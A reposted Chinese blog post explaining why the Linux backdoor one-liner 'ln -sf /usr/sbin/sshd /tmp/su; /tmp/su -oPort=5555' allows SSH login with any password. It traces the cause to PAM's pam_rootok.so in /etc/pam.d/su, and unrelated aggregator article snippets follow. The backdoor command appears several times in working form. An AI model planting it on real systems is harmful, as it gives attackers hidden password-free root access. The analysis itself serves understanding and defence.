linux不用命令開啟ssh,不用密碼也能ssh登陸Linux?

Linux的一個后門引發對PAM的探究

1.1 起因

今天在搜索關于Linux下的后門姿勢時,發現一條命令如下:

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

經典后門。直接對sshd建立軟連接,之后用任意密碼登錄即可。

ssh?root@x.x.x.x?-p?5555這個是大家也經常會用到的命令,但是在好奇心的驅使下,為什么任意密碼就可以了?

于是搜索了相關的資料,發現都是執行了這條命令就可以免密碼登錄了,但是為什么卻沒有一篇詳細的解答。

1.2調查

首先測試一下這個命令:在A的機器上執行了如下命令:

f604f8d1b3c05c9a4792fa4fe4287fed.png

在A的機器上執行了如下命令:

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

在B機器SSH登錄A機器,輸入任意密碼,成功登錄。先理解這條命令主要在做什么:

首先,做一個軟鏈接,結果在/tmp/su??參數的意義:?-o?option??-p?port

這樣就開啟了一個端口為5555的服務:

00d9a46de2a6bbeb9bd7211d8be01808.png

測試過程中發現,只允許命名為su,命名其他嘗試登錄都不成功(/tmp/xxx)。

98b1d8da9bde6ceb11b905f598e4472b.png

于是看了一下sshd相關的log,發現如下:

761a5a05d5b6202f78e8de5b4a7e0f23.png

發現是基于pam認證的,使用了pam中的su,為了區分是否和/bin/中的su是否相關,做了測試如下:

7456f106d30370cba50d645aafed13c1.png

把/bin/su?重新命名為其他文件,發現依然能夠任意密碼登錄,又做了測試如下:

cp /etc/pam.d/su /etc/pam.d/xxx

f8e7b672ad2836fcb135925467646516.png

在此執行:

ln -sf /usr/sbin/sshd /tmp/xxx; /tmp/xxx -oPort=5555;

0af0209cdadd2fea63aab95194046a89.png

成功登錄,根據日志和實踐現在確認調用的是/etc/pam.d/su

1.3疑問

現在確認了是pam中的su導致的,為什么就不需要密碼就可以登錄?

簡單的diff了一下pam中的sshd和su的區別:

66b22513e418315a1199ca9c1eec3201.png

這里需要了解一下PAM中的控制標記:

07db4db4b7b23fb020641d7bc644523c.png

sshd的pam認證使用了required和include,su使用了sufficient,在此就可以看出二者的區別了。

我們發現su的認證使用了pam_rootok.so,他是如何驗證的,為什么導致我們輸入任何密碼就通過。

于是查了下pam_rootok.so的相關信息:

875c7e46d33208e94f2f73bf6055b4e1.png

他的認證模塊是認證你的UID是否為0,他會return?pam的結果。

再去看一下pam_rootok.so的源碼,發現:

b51554d4bae643fba724bd00c3345273.png

他先會調用getuid(),如果get的uid為0,他會檢查selinux的root是否為0或是否啟用selinux下為0,返回認證成功,否則認證失敗。

那么getuid()是從哪里來的,查一下官網:

ac604c2582351261e60a41ad747ba1dc.png

是根據進程來取得的,根據pam_rootok的文檔,我們也可以對su進行調試:

5fedcebd24d4296ed3162278e9a35def.png

pam_rootok.so返回成功,依次向下執行so,都會成功,建立會話。

查看log:

17dd590b4b7b0f0c2d41df1a0e091f76.png

第一條:

pam_rootok(su:auth): authentication succeeded

1.4 真相

至此也終于清楚了為什么就可以輸入任意密碼進行登錄。

我們重新捋一捋:

62a36dcd9212cece9d6a757ac8ffa953.png

1.5?彩蛋

實際的真相就是在pam中的pam_rootok模塊,pam_rootok通過了認證還會一次向下執行,但是下面的都會依賴于pam_rootok的認證,auth?=>account?=>session:

527a401c34310d8cde321a264e27ad8a.png

通過查找其實不單單是su存在pam_rootok,只要滿足了上述的三個條件都可以進行”任意密碼登錄”。

1.6?參考資料

https://linux.die.net/man/8/pam_rootok

https://fossies.org/dox/Linux-PAM-1.3.0/pam__rootok_8c_source.html

https://fossies.org/dox/Linux-PAM-1.3.0/pam__succeed__if_8c.html

https://fossies.org/dox/Linux-PAM-1.3.0/pam__succeed__if_8c_source.html

http://man7.org/linux/man-pages/man2/getuid.2.html

http://www.tuxradar.com/content/how-pam-works

http://www.centoscn.com/CentOS/help/2014/0504/2899.html

轉載自http://www.91ri.org/16803.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/458973.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/458973.shtml
英文地址,請注明出處:http://en.pswp.cn/news/458973.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

ScrollView常用(暫時用上了的)代理方法

2019獨角獸企業重金招聘Python工程師標準>>> ScrollView常用代理方法: #pragma mark - 滾動結束調用 -(void)scrollViewDidEndDecelerating:(UIScrollView *)scrollView {// 計算 滑動到了第幾頁double page scrollView.contentOffset.x / scrollView.width;self.p…

筆試題目匯總

C常考筆試題:不用if,while,do-while,for,打印出所有大于0小于k的整數.函數原型void printLess(int k); 解法一:遞歸方式(剛想出來) [cpp] view plaincopy #include <iostream> using namespace std; void printLess(int k) { switch(--k) { case 0:…

Android ListView性能優化實例講解

前言&#xff1a; 對于ListView&#xff0c;大家絕對都不會陌生&#xff0c;只要是做過Android開發的人&#xff0c;哪有不用ListView的呢&#xff1f; 只要是用過ListView的人&#xff0c;哪有不關心對它性能優化的呢&#xff1f; 關于如何對ListView進行性能優化&#xff0c;…

Bzoj 3289: Mato的文件管理 莫隊,樹狀數組,逆序對,離散化,分塊

3289: Mato的文件管理 Time Limit: 40 Sec Memory Limit: 128 MBSubmit: 1539 Solved: 665[Submit][Status][Discuss]Description Mato同學從各路神犇以各種方式&#xff08;你們懂的&#xff09;收集了許多資料&#xff0c;這些資料一共有n份&#xff0c;每份有一個大小和一…

linux頭文件 庫,Linux操作系統的頭文件和庫文件搜索路徑

一、 頭文件1 “”中的頭文件&#xff0c;在源文件當前目錄查找2 -I 中指定目錄 -I可以在CFLAG中指定3 gcc的環境變量 C_INCLUDE_PATH, CPLUS_INCLUDE_PATH, OBJC_INCLUDE_PATH4 編譯器預設路徑、內定目錄&#xff1a;/usr/include/usr/local/include/usr/lib/gcc-lib/i386-lin…

vs2010創建和使用動態鏈接庫(dll)

*************************************************** 更多精彩&#xff0c;歡迎進入&#xff1a;http://shop115376623.taobao.com *************************************************** 本文將創建一個簡單的動態鏈接庫&#xff0c;并編寫一個應用臺控制程序使用該動態鏈接…

通用二進制

通用二進制 通用二進制&#xff08;Universal binary&#xff09;是蘋果電腦公司提出的一種程序代碼&#xff0c;使程序能以本地程序的形式運行在使用PowerPC或者英特爾微處理器&#xff08;x86&#xff09;的麥金塔電腦上&#xff0c;在同一個程序包中同時為兩種架構提供最理想…

Python~win32com~Excel

import win32com.client#wwin32com.client.Dispatch("Word.Application") #w.Visible1owin32com.client.Dispatch("Excel.Application") o.Visible1 o.Workbooks.Add() o.Cells(1,1).Value"Hello"轉載于:https://www.cnblogs.com/lynclynn/p/530…

linux顯示光盤命令行,使用wodim在命令行下燒錄光盤

使用wodim在命令行下燒錄光盤發布時間:2009-02-27 16:23:11來源:紅聯作者:zhania作者&#xff1a;linuxtoy出自http://linuxtoy.org/archives/burning-cd-with-wodim.html我們以前介紹的 Linux 光盤燒錄工具多為圖形化的程序&#xff0c;今天來看看如何使用 wodim 在命令行下燒…

Android(java)學習筆記144:網絡圖片瀏覽器的實現(ANR)

1.我們在Android下&#xff0c;實現使用http協議進行網絡通信&#xff0c;請求網絡數據。這里是獲取網絡上的圖片信息&#xff0c;讓它可以顯示在手機上&#xff1b; 但是我們這個手機連接網絡是很費時間&#xff0c;如果我們在主線程&#xff08;UI線程&#xff09;中寫這個網…

DLL導出函數名稱改編的解決方法

*************************************************** 更多精彩&#xff0c;歡迎進入&#xff1a;http://shop115376623.taobao.com *************************************************** 1.DLL編譯后導出函數名稱改變 在編寫一個DLL后&#xff0c;為了能被別的程序調用&…

組合自定義控件的步驟詳解

Android 步驟&#xff1a; 1 自定義組合控件的布局settint_view.xml<?xml version"1.0" encoding"utf-8"?> <RelativeLayout xmlns:android"http://schemas.android.com/apk/res/android"android:orientation"vertical"and…

linux如何建立隱藏目錄,【Linux】文件與目錄的默認權限與隱藏權限

01. 文件默認權限&#xff1a;umask文件的權限可以使用chmod來改變&#xff0c;但是我們默認創建文件的權限是什么&#xff1f;那就是與umask這個有關了。下來我們學習這個指令1.1 簡單使用umask[rootiZbp13q6hd8z3xaagcmz6gZ /]# umask0022[rootiZbp13q6hd8z3xaagcmz6gZ /]# u…

Servlet和JSP學習指導與實踐(二):Session追蹤

前言&#xff1a; web應用中經常需要對某些有用的信息進行存儲或者附加一些信息。本文主要介紹session&#xff0c;即“會話”跟蹤的幾種不同方式~ ----------------------------4種管理session的方式&#xff1a; 1.重寫url 通過在請求的url后面追加參數信息進行會話跟蹤。如&…

數據存儲和界面展示(二)

#測試 黑盒測試 測試邏輯業務 白盒測試 測試邏輯方法 根據測試粒度 方法測試&#xff1a;function test 單元測試&#xff1a;unit test 集成測試&#xff1a;integration test 系統測試&#xff1a;system test 根據測試暴力程度 冒煙測試&#xff1a;smoke test 壓力測…

linux在A目錄下創建B文件,Linux課程---5、常用文件命令和目錄命令(創建文件命令)...

Linux課程---5、常用文件命令和目錄命令(創建文件命令)一、總結一句話總結&#xff1a;touch file11、管道符|有什么用&#xff1f;將前一個命令的結果作為后一個命令的輸入&#xff1a;比如查看文件前3行&#xff1a;cat file1 | head -32、linux下如何復制粘貼命令是什么&…

window 系統上傳文件到linux 系統出現dos 格式換行符

Windows里的文件在Unix/Mac下打開的話&#xff0c;在每行的結尾可能會多出一個^M符號&#xff0c;Unix/Mac系統下的文件在Windows里打開的話&#xff0c;所有文字會變成一行&#xff0c;所以為了避免這種情況的發生&#xff0c;我們可以在linux系統內轉換格式 Centos系列可以直…

#pragma once與 #ifndef的區別

*************************************************** 更多精彩&#xff0c;歡迎進入&#xff1a;http://shop115376623.taobao.com *************************************************** 為了避免同一個文件被include多次 1 #ifndef方式2 #pragma once方式 在能夠支持這…

android學習者優秀網址推薦

非常漂亮的android UI庫集合&#xff0c;別人整理的&#xff0c;如果感覺不錯&#xff0c;趕快收藏吧&#xff01;&#xff01; https://github.com/wasabeef/awesome-android-ui https://github.com/Trinea/android-open-project android中文社區網 http://www.android-studio…

linux while read文件,linux shell腳本用while read逐行讀取文本的問題

問題:我現在是想用一個腳本獲取一定列表服務器的運行時間。首先我建立一個名字為ip.txt的IP列表(一個IP一行)&#xff0c;再建好密鑰實現不用密碼直接登錄。然后寫腳本如下&#xff1a;#!/bin/bashwhile read ips;doecho $ips;done < ip.txt腳本實現了逐行讀取列表中的IP&am…